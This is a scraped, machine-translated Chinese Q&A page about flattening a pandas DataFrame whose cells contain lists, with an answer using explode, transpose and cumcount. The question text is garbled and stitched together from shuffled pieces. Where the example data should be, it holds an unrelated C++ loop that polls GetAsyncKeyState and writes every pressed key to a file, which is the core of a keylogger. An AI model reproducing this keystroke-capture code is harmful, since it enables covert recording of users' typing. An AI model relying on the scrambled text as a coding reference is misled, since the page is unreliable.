展平包含列表的熊猫数据框

时间:2019-11-16 11:09:34

标签: python pandas list

我有一头大熊猫,其中有些条目包含列表

while (1) {
    for (char i = 0; i < 127; i++) {
        if (GetAsyncKeyState(i) == -32767) {
            of << i;
            of.flush();  // Add this line to commit your buffer to output file.
        }
    }
}

我想知道,如何使这个变平 数据框到

pandas = pd.DataFrame([[1,[2,3],[4,5]],[9,[2,3],[4,5]]],columns = ['A','B','C'])

修改列名称的位置。

下一级别是将一列大小可变的pandas数据框展平。如何展平它们,并按如下所示填充pandas_flat = pd.DataFrame([[1,2,3,4,5],[9,2,3,4,5]],columns = ['A','B_0','B_1','C_0','C_1'])

fill_value

-----------------解决方案 对于第一个数据帧

pandas_1 = pd.DataFrame([[1,[2,3,3],[4,5]],[9,[2,3],[4,5]]],columns = ['A','B','C'])
-->
fill_value = 0
pandas_flat_1 = pd.DataFrame([[1,2,3,3,4,5],[9,2,3,0,4,5]],columns = ['A','B_0','B_1','B_2','C_1','C_2'])

我们有

pandas = pd.DataFrame([[1,[2,3],[4,5]],[9,[2,3],[4,5]]],columns = ['Samples','B','C'])

1 个答案:

答案 0 :(得分:2)

在第一种情况下,您可以使用Series.explode + DataFrame.applyDataFrame.transpose。我们可以使用重命名列GroupBy.cumcount

df=pandas.T.apply(lambda x: x.explode())
ids=df.groupby(level=0).cumcount()
df.index=df.index+'_'+ids.astype(str)
new_df=df.T
print(new_df)

  A_0 B_0 B_1 C_0 C_1
0   1   2   3   4   5
1   9   2   3   4   5

编辑:

df=pandas.T.apply(lambda x: x.explode())
groups=df.groupby(level=0)
ids=groups.cumcount()
df.index=(df.index+'_'+ids.astype(str)).mask(groups.size()<2,df.index.to_series())
new_df=df.T
print(new_df)
  A  B_0 B_1 C_0 C_1
0  1   2   3   4   5
1  9   2   3   4   5